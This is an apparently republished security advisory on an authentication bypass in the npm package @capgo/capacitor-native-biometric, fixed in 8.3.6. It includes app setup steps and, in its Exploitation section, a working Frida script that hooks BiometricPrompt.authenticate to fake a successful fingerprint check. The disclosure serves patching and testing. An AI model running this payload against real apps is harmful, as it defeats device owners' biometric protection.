Mittel

cap-go/capacitor-native-biometric Authentication Bypass

Veröffentlicht: 10.02.2026
Aktualisiert: 11.10.2026 10:22

There is a potential issue with the cap-go/capacitor-native-biometric library.

Summary

The cap-go/capacitor-native-biometric library was found to be subject to an authentication bypass as the current implementation of the onAuthenticationSucceeded() does not appear to handle a CryptoObject^HackTricks1 ^SecuringBiometricAuthentication as seen in the following code block starting from line 88 in AuthActivity.java:

java

@Override
    public void onAuthenticationSucceeded(
        @NonNull BiometricPrompt.AuthenticationResult result
    ) {
        super.onAuthenticationSucceeded(result);
        finishActivity("success");
    }

As the current implementation only checks whether onAuthenticationSucceeded() was called and does not handle a CryptoObject the biometric authentication can be bypassed by hooking the onAuthenticationSucceeded() function.

PoC Video:

https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7

Environment:

The following steps were taken to create and deploy a Capacitor application using the cap-go/capacitor-native-biometric library for the purpose of verifying this finding. Note at the time of writing the npx create-react-app command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen here. If it is not fixed by the time you look at this PoC please use the yarn alternatives.

Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name capgo-poc:

bash

npx create-react-app capgo-poc --template typescript

Yarn Alternative:

bash

npm install --global yarn
yarn create react-app capgo-poc --template typescript

Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:

bash

cd capgo-poc
npm install @capacitor/core 
npm install @capacitor/cli 
npm install @capacitor/android
npm install @capgo/capacitor-native-biometric
npm install react

Yarn Alternative:

bash

cd capgo-poc
yarn add @capacitor/core 
yarn add @capacitor/cli 
yarn add @capacitor/android
yarn add @capgo/capacitor-native-biometric
yarn add react

Initialise the project using the name capgo-poc and com.capgo.poc, and add the android platform by running the following commands:

bash

npx cap init
npx cap add android

Configure the android permissions by opening the android/app/src/main/AndroidManifest.xml file and add the necessary permissions:

xml

<uses-permission android:name="android.permission.USE_BIOMETRIC" />
<uses-permission android:name="android.permission.USE_FINGERPRINT" />

Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called App.tsx in src/ and import the following code:

import React, { useState } from 'react';
import { NativeBiometric } from '@capgo/capacitor-native-biometric';

const App = () => {
  // State to hold authentication status
  const [authStatus, setAuthStatus] = useState<string | null>(null);

  // Function to authenticate the user
  const authenticateUser = async () => {
    try {
      const result = await NativeBiometric.verifyIdentity({
        reason: 'For an application access',
        title: 'Log in',
        subtitle: '',
        description: 'Verify yourself by biometrics',
        useFallback: true,
        maxAttempts: 3,
      }).then(() => true)
        .catch(() => false);

      if (!result) {
        setAuthStatus('failed');
      } else {
        setAuthStatus('success');
      }
    } catch (error) {
      console.error('Error during biometric verification:', error);
      setAuthStatus('error');
    }
  };

  return (
    <div>
      <h1>CAP-GO Capacitor Native Biometric Authentication</h1>
      <button onClick={authenticateUser}>Authenticate with Biometrics</button>

      {/* Conditionally render based on authentication status */}
      {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}
      {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}
      {authStatus === 'error' && <h2>Error during authentication</h2>}
    </div>
  );
};

export default App;

Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:

bash

npm run build
npx cap sync android 
npx cap open android

Yarn alternative:

bash

yarn build
npx cap sync android 
npx cap open android

Exploitation:

For the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications ^frida.

Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability.

Copy the below frida script to a JavaScript file and run it to hook the onAuthenticationSucceeded() function, abusing the null CryptoObject. This can be done by running the following command:

bash

frida -U -l <PAYLOAD> -n 'capgo-poc'

Payload

Java.perform(function () {
  hookBiometricPrompt();
});

function getBiometricAuthResult(resultObj, cryptoInst) {
    var authenticationResultInst = resultObj.$new(cryptoInst, 0);
    return authenticationResultInst;
};

function getBiometricPromptResult() {
    var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
    var cryptoInst = cryptoObj.$new(null);
    var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
    var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);
    return authenticationResultInst
};

function hookBiometricPrompt() {
    var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
    console.log("Hooking BiometricPrompt.authenticate()...");
    biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
        var authenticationResultInst = getBiometricPromptResult();
        callback.onAuthenticationSucceeded(authenticationResultInst);
    }
};

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
npm-Paket	@capgo/capacitor-native-biometric	< 8.3.6	8.3.6

Verweise

CVSS-Wert -

CVSS-Vektor: CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Schwäche (CWE): CWE-287
Plattform: npm
Paket: @capgo/capacitor-native-biometric
Veröffentlicht: 10.02.2026
Aktualisiert: 11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-vx5f-vmr6-32wf - CC BY 4.0

Schwachstellenhistorie: @capgo/capacitor-native-biometric

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Dies ist die einzige bekannte Schwachstelle dieses Pakets.

Erkennen Sie Schwachstellen in Ihrer Anwendung

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Anwendung verbinden

cap-go/capacitor-native-biometric Authentication Bypass

Summary

PoC Video:

Environment:

Exploitation:

Payload

Betroffene Software

Verweise

Schwachstellenhistorie: @capgo/capacitor-native-biometric

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Anwendungssicherheit in Ihrem Postfach